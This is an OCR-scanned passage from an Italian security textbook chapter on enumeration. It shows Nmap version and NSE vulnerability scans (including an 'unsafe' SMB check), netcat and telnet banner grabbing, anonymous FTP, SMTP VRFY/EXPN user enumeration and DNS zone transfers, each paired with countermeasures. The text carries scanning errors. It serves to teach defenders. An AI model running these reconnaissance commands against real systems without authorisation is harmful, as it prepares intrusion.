bersaglio e di interrogazioni dirette, che potrebbero
(o meglio, dovrebbero) essere registrate nei file di
log, 0 comunque notate.Vi mostreremo quali attivita
cercare e come bloccarle, ove possibile.

Gran parte delle informazioni raccolte tramite lat-
tivita di enumerazione potrebbe apparire inutile, a
un primo sguardo, ma in realta 1 dati lasciati passare
dalle falle di sicurezza del sistema possono essere pe-
ricolosissimi, come mostriamo in questo capitolo. In
generale, tra le informazioni che gli hacker cercano
attraverso ’enumerazione vi sono nomi di account
utente (da utilizzare per successivi attacchi alle pas-
sword), risorse condivise mal configurate (per esempio,
condivisioni di file non protette) e vecchie versioni di
software con note vulnerabilita (come i vecchi server
web sensibili agli attacchi via buffer overflow). Una

In questo capitolo

Fingerprinting di servizi
Scanner di vulnerabilita
Cattura di banner

Enumerazione dei servizi
di rete comuni
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volta che un servizio ¢ stato enumerato, solitamente ¢ solo una questione di tempo prima
che I'intruso comprometta il sistema in qualche modo, se non del tutto. Chiudendo queste
falle, che si riparano facilmente, si elimina il primo appiglio dell’hacker.

Le tecniche di enumerazione tendono a essere specifiche della piattaforma e quindi
dipendono fortemente dalle informazioni raccolte nel Capitolo 2 (scansioni di porte e
rilevamento del sistema operativo). In eftetti le funzionalita di scansione di porte e di
enumerazione sono spesso riunite nello stesso strumento, come abbiamo visto nel Capi-
tolo 2 parlando di programmi quali SuperScan, che ¢ in grado di eseguire la scansione di
una rete cercando le porte aperte e nello stesso tempo catturare i banner di qualunque
servizio rilevi in ascolto. Questo capitolo inizia con una breve discussione delle tecniche
di cattura dei banner, le pit generiche tecniche di enumerazione, per passare poi ad ap-
profondire meccanismi piu specifici della piattaforma che possono richiedere strumenti
piu specializzati.

I servizi saranno trattati in ordine numerico secondo la porta sulla quale tradizionalmente
s1 mettono in ascolto, che siano TCP o UDP. Per esempio, discuteremo per primo il ser-
vizio FTP (TCP 21), poi telnet (TCP 23), SMTP (TCP 25) e cosi via. Non ¢ possibile
trattare in modo esaustivo tutte le possibili tecniche di enumerazione nei confronti di
tutte le 65.535 porte TCP e UDP, percio ci concentriamo soltanto sui servizi che tradi-
zionalmente forniscono le maggiori informazioni sui sistemi bersaglio, in base alla nostra
esperienza di professionisti della sicurezza. In questo modo speriamo di chiarire meglio
come enumerazione sia pensata come strumento per fornire una conoscenza piu precisa
del bersaglio, nel cammino che un hacker percorre per arrivare ad accedere al sistema
senza autorizzazione.

NOTA

In tutto questo capitolo parleremo di“famiglia NT” per indicare tutti i sistemi basati sulla
piattaforma NT (New Technology) di Microsoft, inclusi Windows NT 3.x—4.x, Windows 2000,
Windows XP, Windows 2003, Windows Vista, Windows 7 e Windows Server 2008. Ove
necessario, distingueremo le versioni desktop e server. Indicheremo invece con “famiglia
DOS"i sistemi Microsoft DOS/Windows 1.x/3.x/9x/Me.

Fingerprinting di servizi

Il cuore di questo capitolo ¢ dedicato alle tecniche manuali per enumerare servizi specifici,
quali SMTP, DNS e SMINP. Prima di cominciare la discussione di tali tecniche manuali,
tuttavia, ¢ necessario delineare le tecniche automatizzate per analizzare intere reti, in
modo rapido ed efficiente, usando un processo denominato fingerprinting di servizi. Queste
tecniche, potenti e di grande portata, sono quelle utilizzate piu spesso dagli hacker piu
moderni, a meno che non sia richiesta un’estrema attenzione a non farsi individuare in
alcun modo, nel qual caso si preferisce ricorrere a metodi manuali.

Nel Capitolo 2 abbiamo visto come effettuare la scansione di porte aperte su una o piu
reti. Il fingerprinting va un passo oltre, rivelando 1 servizi (e altre informazioni piu det-
tagliate, quali il loro livello di revisione/patch) associati a ciascuna porta. Questa attivita
¢ piu estesa e fornisce piu informazioni utili rispetto alla scansione, ma richiede anche
piu tempo ed ¢ piu facilmente rilevabile perché genera una maggiore quantita di traffico.
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\lé
c/' "~ Scansione delle informazioni di versione con Nmap

Popolarita: 9
Semplicita: 8
Impatto: 3
Grado di rischio: 7

Nel Capitolo 2 abbiamo presentato lo strumento per la scansione di rete Nmap (nmap.
org), potente e gratuito, e le sue funzionalita per la scansione e I'identificazione del sistema
operativo. Come forse avrete notato, Nmap per default elenca 1 nomi di servizi insieme
alle porte. Queste informazioni sono ottenute da un file denominato nmap-services, un
semplice file di testo che mette in corrispondenza i servizi con le porte comunemente
associate.

Nmap, quando ¢ utilizzato con I'opzione -sV, va un passo oltre e interroga le porte,
sollecitando un feedback e riscontrando quanto riceve con protocolli noti e specifiche
informazioni di versione mediante un altro file denominato nmap-service-probe, che
contiene informazioni sulle risposte fornite da servizi noti. Con questo indizio aggiun-
tivo, ¢ possibile individuare servizi “nascosti”, per esempio un servizio OpenSSH 3.7 in
esecuzione sulla porta TCP 1417 (e non sulla porta SSH di default 22), che si potrebbe
sfruttare per un attacco, evitando di lasciarselo scappare identificandolo come scarsamente
interessante server Timbuktu (normalmente sulla porta 1417).

Questo scenario ¢ illustrato nel seguente esempio di output di Nmap. Per prima cosa,
ecco una scansione SYN di Nmap che identifica in modo errato il servizio:

[root$] nmap -sS target.com -p 1417

Starting Nmap 4.68 ( http://nmap.org ) at 2011-10-25 19:29 PDT
Interesting ports on localhost (127.0.0.1):

PORT STATE SERVICE

1417/tcp open timbuktu-srvi

Nmap done: 1 IP address (1 host up) scanned in 0.135 seconds

Ed ecco invece una scansione di Nmap che lo identifica correttamente:
[root$] nmap -sV target.com -p 1417

Starting Nmap 4.68 ( http://nmap.org ) at 2011-10-25 19:25 PDT
Interesting ports on localhost (127.0.0.1):

PORT ~ STATE SERVICE VERSION

1417/tcp open ssh OpenSSH 3.7

Service detection performed. Please report any incorrect results at http://nmap.org/
submit/.
Nmap done: 1 IP address (1 host up) scanned in 0.981 seconds
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NI/

""" Scansione delle informazioni di versione con Amap

Popolarita: 9
Semplicita: 8
Impatto: 3
Grado di rischio: 7

Amap (thc.org/thc-amap/) ¢ uno strumento dedicato per il fingerprinting di servizi, il
primo del suo genere, che fornisce una funzionalita identica a quella di scansione di
Nmap appena descritta, ma gia da molti anni prima. Al momento in cui scriviamo, grazie
alla vasta base preesistente di utenti e sviluppatori, Nmap ¢ ormai diventato il principale
strumento utilizzato per la scansione delle informazioni di versione. Tuttavia, nell’attivita di
fingerprinting di servizi, talvolta ¢ utile anche un secondo parere. Amap utilizza le proprie
tecniche di pattern-matching per eseguire il fingerprinting di servizi di rete, e benché la
funzionalita corrispondente di Nmap sia generalmente piu accurata e aggiornata, talvolta
Amap ¢ in grado di cogliere qualcosa che Nmap non riesce a rilevare.

Scanner di vulnerabilita

Quando non ¢ richiesta una particolare attenzione a non farsi individuare, perché I’hacker
sa che il bersaglio non dispone di funzionalita di monitoraggio efficaci, o semplicemente
perché sa muoversi cosi rapidamente da non doversi preoccupare di venire individuato,
rivolgere uno scanner di vulnerabilita automatizzato contro un bersaglio o un’intera rete
puo essere un modo efficace ed efficiente per raccogliere dati sulle vulnerabilita.
Generalmente gli scanner di vulnerabilitd automatizzati dispongono di ampi database
regolarmente aggiornati di signature di vulnerabilita note per qualsiasi elemento possa
essere in ascolto su una porta di rete: sistemi operativi, servizi, applicazioni web. Possono
anche rilevare vulnerabilita in software lato client, disponendo di credenziali sufficienti,
cosa che puo risultare utile in fasi successive dell’attacco quando I’hacker potrebbe essere
interessato a estendere ulteriormente il suo ambito d’azione andando a compromettere
anche account utente dotati di privilegi.

Nel momento in cui scriviamo sono disponibili numerosi scanner di vulnerabilitd com-
merciali, prodotti per esempio da McAfee, Qualys, Rapid7, nCircle e Tenable. Sul fronte
open source, Open Vulnerability Assessment System (OpenVAS, openvas.org) rappresenta
un’alternativa per chi ¢ alla ricerca di strumenti gratuiti. Nel seguito descriviamo uno
dei piu popolari tra questi strumenti, per illustrare le capacita degli scanner moderni di
eseguire funzioni avanzate di enumerazione.

S

" Scansione con Nessus

Popolarita: 9
Semplicita: 9
Impatto: 6
Grado di rischio: 8

Nessus, di Tenable Network Security (nessus.org/products/nessus), ¢ da lungo tempo
considerato lo standard di riferimento per gli scanner di vulnerabilita. La sua interfaccia
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grafica di facile utilizzo, il database aggiornato di vulnerabilita, il supporto per tutte le
principali piattaforme (il componente client ¢ stato reso disponibile persino per iPhone e
Android!) e le prestazioni ottimizzate lo rendono adatto per la scansione approfondita di
un bersaglio o di una rete di bersagli. Gli utenti hanno anche la possibilita di sviluppare
plug-in personalizzati utilizzando il linguaggio interpretato NASL (Nessus Attack Scripting
Language) per ampliare le capacita dello scanner al fine di soddisfare qualsiasi esigenza. La
console web di Nessus ¢ illustrata nella Figura 3.1.

| NOTA

Assicuratevi di rispettare il modello di licenza di Nessus, in particolare se intendete uti-
lizzare versioni recenti in ambito aziendale. Nessus era gratuito e open source fino alla
versione 3, guando ha assunto un modello proprietario closed source. Per questo motivo,
alcuni utenti hanno preferito continuare a utilizzare Nessus 2 o la sua alternativa open
source, OpenVAS (openvas.org). Tuttavia, recenti miglioramenti apportati al motore di
scansione di Nessus e nuovi plug-in hanno reso le nuove versioni molto attraenti anche
tenendo conto dell'investimento richiesto. Nel momento in cui scriviamo, gli utenti privati
possono utilizzare Nessus 4 HomeFeed gratuitamente, ma le aziende devono acquistare
la versione ProfessionalFeed.

O Contromisure contro la scansione con Nessus

Per evitare che le vulnerabilita del proprio sistema siano enumerate da strumenti quali
Nessus, ¢ necessario implementare efficaci processi di patch e gestione della configurazione
in modo da tentare innanzitutto che tali vulnerabilita siano introdotte. Occorre anche
eseguire regolarmente la scansione del proprio sistema con simili strumenti, in modo

met | ol | bt | Log ot

Policies Report Policies  Users  Configuration

@ Edit Policy

Filters  No Filters. ® Clear Filters

Famllles Plugins Enable Plugins  Disable Plugins
® Backdoors N

cn ® CGl abuses
® CGl abuses : XSS

Plugins ® cisco

® CentOS Local Security Checks

® ons

® Databases

® Debian Local Security Checks

@ Default Unix Accounts

Prefen

®Fre

® Fedora Local Security Checks
® Firewalls

@ FreeBSD Local Seourity Checks

Enabled Familles: 0 Enabled Plugins: 0 Show Only Enabled Plugins ([ Enable Al Disable All

Cancel | Submit

Figura 3.1 La console web di Nessus. Notate il gran numero di plug-in disponibili,
corrispondenti a controlli di vulnerabilita, in continuo ampliamento.
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da poter individuare eventuali vulnerabilita e porvi rimedio al piu presto, possibilmente
prima che un hacker le possa sfruttare.

Inoltre, a causa della popolarita degli scanner di vulnerabilitd automatizzati,i produttori di
sistemi IDS/IPD (Intrusion Detection and Prevention System) hanno messo a punto proprie
signature di rilevamento per avvisare del comportamento di strumenti come Nessus.
Nel caso degli IPS, questi prodotti sono in grado di bloccare o semplicemente rallentare
molto le scansioni, causando frustrazione negli hacker, che cosi sono invogliati a passare
a un altro bersaglio.

" Script NSE di Nmap

Popolarita: 7
Semplicita: 6
Impatto: 5
Grado di rischio: 6

Nmap, come se non fosse gia abbastanza potente, ha anche la capacita di condurre tutte
le attivita di enumerazione trattate in questo capitolo e molte altre attraverso NSE (Nmap
Scripting Engine).

NSE di Nmap ¢ un’interfaccia che consente agli utenti di estendere le funzionalita di
Nmap attraverso script personalizzati sviluppati nel linguaggio di programmazione inter-
pretato Lua, in modo da inviare, ricevere e fornire informazioni su dati arbitrari. Questa
possibilita crea un certo grado di sovrapposizione tra e strumenti come Nessus. Tuttavia,
come si afferma su nmap.org, questa funzionalita non ¢ stata introdotta allo scopo di far
competere Nmap con Nessus (perché reinventare la ruota?), ma per fare in modo che
Nmap potesse essere utilizzato allo scopo di controllare specifici aspetti, generalmente net
casi in cui ¢ preferibile operare con un fine bisturi al posto di un coltellaccio da macellaio.
Nmap viene fornito con una libreria di utili script NSE (che si possono richiamare speci-
ficando --script per eseguire uno specifico script o -sC per eseguire un insieme di script
di default) capaci di eseguire attivita quali network discovery, rilevamento di versione,
rilevamento di backdoor e perfino di sfruttare vulnerabilita. Il comando seguente illustra
uno script di verifica di vulnerabiliti SMB, fornito con la versione corrente di Nmap
(notate che questo script dispone anche di un’opzione per consentire test non sicuri, cio¢
potenzialmente distruttivi):

[root$] nmap -Pn --script smb-check-vulns --script-args=unsafe=1 192.168.1.3

Starting Nmap 5.21 ( http://nmap.org ) at 2011-11-26 18:57 PST
NSE: Script Scanning completed.

Nmap scan report for test-jg7wfgbisr.ftrdhcpuser.net (192.168.1.3)
Host is up (1.0s latency).

Not shown: 994 closed ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

514/tcp filtered shell

1025/tcp open NFS-or-IIS

5000/tcp open upnp
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Host script results:

| smb-check-vulns:

| MS08-067: VULNERABLE

| SMBv2 DoS (CVE-2009-3103): VULNERABLE

Nmap done: 1 IP address (1 host up) scanned in 716.68 seconds

(Cattura di banner

Le pit elementari tecniche di enumerazione sono quelle che consentono di catturare i
banner, gia citate brevemente nel Capitolo 2. Catturare un banner significa semplicemente
connettersi a servizi remoti e osservarne l'output, e puo offrire utili informazioni agli ha-
cker che operano da remoto e, come minimo, con queste tecniche possono identificare il
produttore e la versione del servizio in esecuzione, cosa che in molti casi ¢ sufficiente per
avviare 1l processo di ricerca delle vulnerabilita.

Come abbiamo osservato nel Capitolo 2, molti strumenti per la scansione di porte sono
in grado di eseguire la cattura di banner procedendo in parallelo con la funzione prin-
cipale di individuare le porte aperte (i precursori di un servizio remoto attaccabile). In
questo paragrafo elenchiamo brevemente le pit comuni tecniche manuali per la cattura
di banner, che ogni hacker che si rispetti dovrebbe conoscere (a prescindere dal grado di
sofisticazione che raggiungeranno gli scanner di porta automatici).

S

" Le basi per la cattura di banner: telnet e netcat

Popolarita: 5
Semplicita: 9
Impatto: 1
Grado di rischio: 5

Il meccanismo collaudato per catturare banner e informazioni sulle applicazioni ¢ tradi-
zionalmente basato su telnet (uno strumento di comunicazione remota integrato nella
maggior parte dei sistemi operativi). Utilizzando telnet, catturare i banner ¢ semplicissimo:
basta aprire una connessione telnet a una porta conosciuta sul server bersaglio, premere
Invio piu volte se necessario e vedere che cosa appare sullo schermo:

C:\>telnet www.example.com 80

HTTP/1.1 400 Bad Request

Server: Microsoft-IIS/5.0

Date: Tue, 15 Jul 2008 21:33:04 GMT
Content-Type: text/html
Content-Length: 87

<html><head><title>Error</title>
</head><body>The parameter is incorrect. </body>
</html>

Questa ¢ una tecnica generica che funziona con molte applicazioni comuni che rispondono su
una porta standard, come HTTP sulla porta 80, SMTP sulla porta 25 o FTP sulla porta 21.
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Come strumento un po’ piti preciso si puo utilizzare netcat, il ““coltellino svizzero del TCP/
IP”. Questo strumento ¢ stato scritto da Hobbit e portato nella famiglia di Windows NT da
‘Weld Pond quando faceva parte del gruppo di ricerca sulla sicurezza LOpht. Come vedrete
nel prosieguo del libro, netcat ¢ uno degli strumenti pit apprezzati dagli amministratori di
sistema per la sue elegante flessibilitd, ma quando ¢ utilizzato dal nemico, diventa semplice-
mente devastante. Nel seguito esaminiamo uno dei suoi impieghi pit semplici: connettersi
a una porta TCP/IP remota e catturare il banner del servizio:

C:\>nc -v www.example.com 80
www.example.com [10.219.100.1] 80 (http) open

A questo punto, qualche dato in input solitamente genera una risposta. In questo caso,
premendo Invio si visualizza quanto segue:

HTTP/1.1 400 Bad Request

Server: Microsoft-IIS/5.0

Date: Tue, 15 Jul 2008 00:55:22 GMT
Content-Type: text/html
Content-Length: 87

<html><head><title>Error</title>
</head><body>The parameter is incorrect. </body>
</html>

II file readme di netcat suggerisce come reindirizzare il contenuto di un file netcat per
fare in modo che i sistemi remoti inviino ancora pitt informazioni. Per esempio, create
un file di testo denominato nudge.txt contenente soltanto la riga GET / HTTP/1.0 seguita
da due ritorni a capo e poi da quanto segue:

[root$]nc -nwv -o banners.txt 10.219.100.1 80 < nudge.txt
(unknown) [10.219.100.1] 80 (http) open

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Date: Wed, 16 Jul 2008 01:00:32 GMT

X-Powered-By: ASP.NET

Connection: Keep-Alive

Content-Length: 8601

Content-Type: text/html

Set-Cookie: ASPSESSIONIDCCRRABCR=BEFOAIIDCHMLIENPIPIGIACM; path=/
Cache-control: private

<IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
http://www.w3.0rg/TR/xhtml1/DTD/xhtm
l1-transitional.dtd">
<HTML>
<HEAD>
<META NAME="keywords" CONTENT="Example, Technology ">
<META NAME="description" CONTENT="Welcome to Example's Web site. ">
<TITLE>Example Corporate Home Page</TITLE>
</HEAD>
</HTML>
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SUGGERIMENTO

Largomento netcat -n e consigliato quando si specificano indirizzi IP numerici come
target.

Conoscete qualche buona tecnica per violare Microsoft IIS 5.07 Avete afferrato il concetto.
In base al servizio da sondare, il file nudge.txt puo contenere vari elementi, come HEAD
/ HTTP/1.0 <cr><cr>, QUIT <cr>, HELP <cr>, ECHO <cr> o anche soltanto un paio di ritorni
a capo (<cr>).

Queste informazioni possono consentire all’hacker di mettere a fuoco il bersaglio; cono-
scendo il produttore e la versione del server, infatti, puo concentrarsi su tecniche specifiche
della piattaforma e routine di attacco note, per raggiungere I'obiettivo. Il tempo gioca in
suo favore e contro 'amministratore del sistema bersaglio. Parleremo piu in dettaglio di
netcat nel prosieguo del libro.

c Contromisure contro la cattura di banner

Come abbiamo gia osservato, la miglior difesa contro la cattura di banner consiste nel
chiudere tutti i servizi non indispensabili, o in alternativa nel limitare I'accesso ai servizi
utilizzando il controllo di accesso in rete. L'esecuzione di servizi software vulnerabili
rappresenta probabilmente la pitt ampia via di accesso non autorizzato per qualsiasi am-
biente, percio la limitazione dell’accesso si rende necessaria non solo per contrastare la
cattura di banner.

Poi, per i servizi che hanno importanza critica per lattivita e non possono essere sempli-
cemente chiusi, & necessario cercare il modo corretto per disabilitare la visualizzazione del
produttore e della versione nei banner. E utile una regolare attivita di controllo interno
con strumenti automatizzati e verifiche puntuali manuali (con netcat) per assicurarsi che
il sistema non fornisca alcuna informazione inopportuna a eventuali aggressori.

Enumerazione dei servizi di rete comuni

Utilizziamo alcune delle tecniche di base di enumerazione, e altro ancora, per enumerare
1 servizi comunemente rilevati dalle scansioni di porte.

N1/

""" Enumerazione di FTP, TCP 21
Popolarita: 1
Semplicita: 10
Impatto:

Grado di rischio: 4

Benché il protocollo FTP (File Transfer Protocol) stia diventando sempre meno comune in
Internet, connettersi ai server FTP ed esaminare il contenuto delle directory rimane una
delle tecniche di enumerazioni piu semplici e potenzialmente redditizie. Abbiamo visto
molti server web pubblici utilizzare FTP per I'upload di contenuti web, fornendo cosi un
facile vettore per I'invio di eseguibili pericolosi (cfr. il Capitolo 10 sull’hacking web per
ulteriori dettagli). Generalmente, la notizia che sono disponibili servizi di condivisione dei
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file facilmente accessibili si diffonde rapidamente e ampiamente, cosi i siti FTP pubblici
finiscono per ritrovarsi pieni di materiali riservati e potenzialmente imbarazzanti. Cosa
ancora peggiore, molti di questi siti sono configurati per consentire 1’accesso anonimo.
Stabilire una connessione FTP ¢ semplice, utilizzando il client integrato nella maggior
parte dei moderni sistemi operativi. Lesempio che segue mostra il client FTP a riga di
comando di Windows. Notate I'utilizzo di “anonymous” e di un indirizzo e-mail fittizio
(non mostrato nell’output) per autenticarsi a questo servizio anonimo:

C:\>ftp ftp.example.com

Connected to ftp.example.com.

220 (vsFTPd 2.0.1)

User (ftp.example.com:(none)): anonymous
331 Please specify the password.
Password:

230 Login successful.

ftp> 1s

200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.

Go

DROP

hos2

hm1

LINK

1ib

lost+found

pub

226 Directory send OK.

ftp: 52 bytes received in 0.00Seconds 52000.00Kbytes/sec.
ftp>

Naturalmente sono disponibili anche client FTP con interfaccia grafica. La maggior parte
dei moderni browser web implementa FTP e permette di navigare nei siti tramite I’ormai
familiare struttura a file e cartelle. Un eccellente client FTP grafico ¢ FileZilla disponibile
presso filezilla-project.org/. Per un elenco di siti FTP con accesso anonimo potete
consultare il sito ftp-sites.org; non ¢ molto aggiornato, ma contiene molti indirizzi di
siti tuttora disponibili.

I banner catturato da FTP puo indicare la presenza di software server FTP con gravi
vulnerabilita. I1 server FTP della Washington University (wu-ftp), per esempio, in passato
era molto popolare tra gli hacker, per la sua storia di bufter overflow che si potevano
sfruttare per compromettere I'intero sistema.

Q Contromisure contro I'enumerazione di FTP

FTP & uno dei servizi tradizionali ma spesso ormai inutili che andrebbero semplicemente
disattivati. Utilizzate sempre Secure FTP (SFTP, che utilizza la cifratura SSH) o FTP Se-
cure (FTPS, che utilizza SSL) protetti con password forti o un sistema di autenticazione
basato su certificati. Occorre prestare particolare attenzione all’accesso anonimo e non
consentire mai 'upload di file senza limitazioni. Spesso, inoltre, per 1 contenuti pubblici
¢ preferibile utilizzare HTTP anziché protocolli di condivisione di file.
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N1/
> Enumerazione di telnet, TCP 23

Popolarita:

4
Semplicita: 9
Impatto: 3

Grado di rischio: 5

Telnet ¢ stato per molti anni uno dei pit importanti servizi di rete in uso. Nei primi
giorni di Internet, telnet era importante perché forniva uno dei servizi piu essenziali:
l'accesso remoto. Il suo principale difetto ¢ che trasmette 1 dati in chiaro, quindi chiunque
con uno snifter ha la possibilita di vedere 'intera conversazione tra un client e un server,
inclusi nome utente e password utilizzati per eftettuare I'accesso. Con 'aumento delle
esigenze di sicurezza, questo servizio ¢ stato sostituito da un mezzo piu sicuro e cifrato
per 'amministrazione remota, denominato SSH (Secure SHell). Tuttavia, con tutte le sue
ben note vulnerabilita, questo servizio ¢ utilizzato spesso ancora oggi.

Enumerazione del sistema tramite banner telnet

Dal punto di vista di un hacker, telnet puo offrire un modo semplice per ottenere infor-
mazioni sull’host, perché normalmente visualizza un banner di sistema prima del login.
Questo banner spesso riporta il sistema operativo e la versione in uso sull’host. Con appa-
recchiature di rete quali router e switch, talvolta non si riceve un banner tanto dettagliato;
in molti casi il sistema visualizza un prompt particolare, da cui si puo facilmente dedurre di
che dispositivo di tratta, se 1o si conosce gia, o se si effettua una semplice ricerca su Google.
Per esempio, nel caso di apparecchiature Cisco si ricevono due prompt:

User Access Verification.
Password:

oppure:

User Access Verification.
Username:

Se si riceve uno di questi due banner, si puo presupporre con una certa sicurezza che
I’host interessato sia un dispositivo Cisco. La differenza tra 1 due ¢ che il prompt Username
sui server telnet Cisco indica solitamente che il dispositivo utilizza TACACS+ o un certo
tipo di “autenticazione, autorizzazione e accounting” o AAA (Authentication, Authorization,
and Accounting) per I'autenticazione, il che significa che probabilmente sono impiegati dei
meccanismi di protezione e blocco. Questa informazione pud aiutare un hacker a scegliere
un piano se ricorre a un attacco di forza bruta. Nel caso in cui sia richiesta soltanto una
password, invece, ¢ molto probabile che ’hacker possa lanciare un attacco di forza bruta
senza essere bloccato e nemmeno notato dal proprietario del dispositivo.

Enumerazione di account via telnet

Come spieghiamo in questo capitolo, servizi, daemon e tutti gli altri tipi di applicazioni
che st rivolgono a un client possono fornire utili informazioni a chi sa come chiederle e
quali risposte cercare. Un esempio perfetto ¢ ’enumerazione di account, il processo con
cut si tenta di effettuare il login con un particolare nome utente e si osservano i messaggi
di errore restituiti dal server. Un caso di enumerazione di account via telnet fu illustrato da
Shalom Carmel in occasione della conferenza Black Hat Europe durante la sua presentazione
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intitolata “AS/400 for Pentesters”. Shalom mostro che ’AS/400 consente I'enumerazione
del nome utente durante 'autenticazione telnet (¢ POP3). Per esempio, se un hacker tenta
di effettuare il login con un nome utente valido ma una password non valida, il sistema
risponde con il messaggio:“CPF1107 — Password not correct for user profile”’; se I'hacker
tenta di effettuare il login con un nome utente non valido, il sistema risponde con:“CPF
1120 — User X does not exist”. Esaminando le risposte fornite dal server per particolari
nomi utente, I’hacker poteva cosi iniziare a compilare un elenco di account validi per tentare
pot degli attacchi di forza bruta. Shalom forni anche un elenco di altri messaggi di errore
comuni ma utili forniti dall’AS/400 durante I'autenticazione (Tabella 3.1).

Tabella 3.1 Messaggi di errore comuni.

Errore Messaggio
CPF1107 Password not correct for user profile (Password non corretta per il profilo utente).
CPF1109 Not authorized to subsystem (Non autorizzato al sottosistema).
CPF1110 Not authorized to work station (Non autorizzato alla workstation)
CPF1116 Next not valid sign-on attempt varies oft device (Il prossimo tentativo di accesso
non valido rendera indisponibile il dispositivo)
CPF1118 No password associated with user X (Nessuna password associata all'utente X)
CPF1120 User X does not exist (L'utente X non esiste)
CPF1133 Value X is not a valid name (Il valore X non ¢ un nome valido).
CPF1392 Next not valid sign-on disables user profile (Il prossimo accesso non valido disabilitera

il profilo utente)
CPF1394  User profile X cannot sign in (Il profilo utente X non puo accedere)

c Contromisure contro I'enumerazione di telnet

In generale, la scarsa sicurezza di telnet dovrebbe costituire un motivo sufficiente per
non utilizzare questo servizio e cercare mezzi alternativi per la gestione da remoto. SSH
(Secure SHell) ¢ un’alternativa ampiamente diftusa, che va utilizzata in tutti i casi possibili.
In situazioni in cui ¢ indispensabile utilizzare telnet, occorre mettere in atto delle misure
per limitare I'accesso al servizio in base all’host o al segmento di rete. Nella maggior parte
dei casi ¢ possibile modificare le informazioni fornite nei banner, conviene consultare il
produttore per ulteriori informazioni. Per quanto riguarda il problema specifico dell’enu-
merazione sui sistemi AS/400, 1 messaggi di errore possono essere modificati rendendoli
piu generici tramite il comando CHMSGD, inoltre si consiglia di richiedere agli utenti di
riconnettersi dopo un tentativo di login fallito.

S
""" Enumerazione di SMTP, TCP 25

Popolarita: 5

Semplicita: 9

Impatto: 1

Grado di rischio: 5

Una delle piu classiche tecniche di enumerazione sfrutta la lingua franca del sistema
di recapito della posta elettronica su Internet, il protocollo SMTP (Simple Mail Transfer
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Protocol), tipicamente eseguito sulla porta TCP 25. SMTP fornisce due comandi interni
che consentono I'enumerazione degli utenti: VRFY, che conferma i nomi di utenti validi,
ed EXPN, che rivela gli effettivi indirizzi di recapito di alias e mailing list. La maggior parte
delle aziende oggi fornisce piuttosto liberamente indirizzi di posta elettronica riferiti al
proprio dominio, e questo genera la possibilita di portare attacchi con indirizzi contraffatti
e, cosa pitl importante, puo fornire agli intrusi i nomi di account utente locali sul server.
Nel seguente esempio utilizziamo telnet per illustrare 'enumerazione SMTP, ma potete
utilizzare anche netcat:

[root$]telnet 10.219.100.1 25
Trying 10.219.100.1...
Connected to 10.219.100.1.

Escape character is '~]'.
220 mail.example.com ESMTP Sendmail Tue, 15 Jul 2008 11:41:57
vrfy root

250 root <root@mail.example.com>

expn test

250 test <test@mail.example.com>

expn non-existent

550 5.1.1 non-existent.. User unknown

quit

221 mail.example.com closing connection

Lo strumento vrfy.pl consente di velocizzare questo processo. Un hacker puo utilizzarlo
per specificare il server SMTP bersaglio e un elenco di nomi utente da provare. vrfy.
pl esegue delle prove con tutti i nomi utente specificati nell’elenco e indica quelli che il
server riconosce come validi.

o Contromisure contro 'enumerazione di SMTP

Questo ¢ un altro dei servizi tradizionali ormai poco utili che sarebbe meglio disattivare.
Le versioni successive alla 8 del noto software di server SMTP sendmail (sendmail.org)
mettono a disposizione una sintassi che si puo incorporare nel file mail.cf per disabilita-
re questi comandi o richiedere 'autenticazione. Microsoft Exchange Server per default
impedisce a utenti non autorizzati di utilizzare EXPN e VRFY nelle versioni piu recenti. Altre
implementazioni di server SMTP dovrebbero offrire funzionalita simili; qualora non sia
cosl, conviene pensare di rivolgersi a un altro produttore!

N1/
""" Enumerazione del DNS, TCP/UDP 53

Popolarita: 5

Semplicita: 9

Impatto: 2

Grado di rischio: 5

Come abbiamo visto nel Capitolo 1, una delle fonti principali di informazioni per il
footprinting ¢ il DNS (Domain Name System), il protocollo standard che associa gli in-
dirizzi IP degli host a nomi comprensibili dall'uomo come “foundstone.com”. I DNS
normalmente opera sulla porta UDP 53, ma pud anche utilizzare la porta TCP 53 per
funzionalita estese come i trasferimenti di zona.
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Enumerazione del DNS con trasferimenti di zona

Una delle piu antiche tecniche di enumerazione ¢ il trasferimento di zona DNS, che si pud
implementare su server DNS mal configurati tramite la porta TCP 53.1 trasterimenti di
zona consentono di visualizzare I'intero contenuto dei file di zona di un dato dominio,
ricavando informazioni come le associazioni tra nome di host e indirizzo IP, oltre ai dati
HINFO (Host Information Record), citati nel Capitolo 1.

Se il server bersaglio utilizza 1 servizi Microsoft DNS per supportare Active Directory (AD),
vi sono buone possibilita che un hacker possa raccogliere ulteriori informazioni. Poiché
il namespace di Active Directory si basa sul DNS, 'implementazione del server DNS di
Microsoft rende noti 1 servizi di dominio come Active Directory e Kerberos utilizzando
il record DNS SRV (RFC 2052), che consente di localizzare 1 server per tipo di servizio
(per esempio LDAP, FTP o WWW) e protocollo (per esempio TCP). Percio, un semplice
trasferimento di zona (nslookup, 1s -d <domainname>) ¢ in grado di raccogliere per enu-
merazione molte informazioni di rete interessanti, come si vede nell’esempio seguente
che mostra un trasferimento di zona sul dominio “example2.org” (sono stati apportati dei
tagli per brevita e inseriti dei ritorni a capo per favorire la leggibilita):

C:\>nslookup

Default Server: nsi.example.com
Address: 10.219.100.1

> server 192.168.234.110

Default Server: corp-dc.example2.org
Address: 192.168.234.110

> 1s -d example2.org
[[192.168.234.110]]
example2.org. SOA  corp-dc.example2.org admin.

example2.org. A 192.168.234.110
example2.org. NS corp-dc.example2.org
_gc._tep SRV priority=0, weight=100, port=3268, corp-dc.example2.org

_kerberos._tcp SRV priority=0, weight=100, port=88, corp-dc.example2.org
_kpasswd._tcp SRV priority=0, weight=100, port=464, corp-dc.example2.org
_ldap._tcp SRV priority=0, weight=100, port=389, corp-dc.example2.org

In base al’RFC 2052, il formato dei record SRV ¢ il seguente:

Service.Proto.Name TTL Class SRV Priority Weight Port Target

Da questo file un hacker potrebbe trarre alcune osservazioni molto semplici: in primo
luogo la posizione del servizio di catalogo globale del dominio (_gc._tcp), i controller
di dominio che utilizzano 'autenticazione Kerberos (_kerberos. tcp), i server LDAP
(_ldap._tcp) e i corrispondenti numeri di porta. In questo esempio sono mostrate soltanto
incarnazioni (istanze) TCP.

In alternativa, da Linux (o altre varianti di UNIX) si puo utilizzare il comando dig per
ottenere risultati simili:

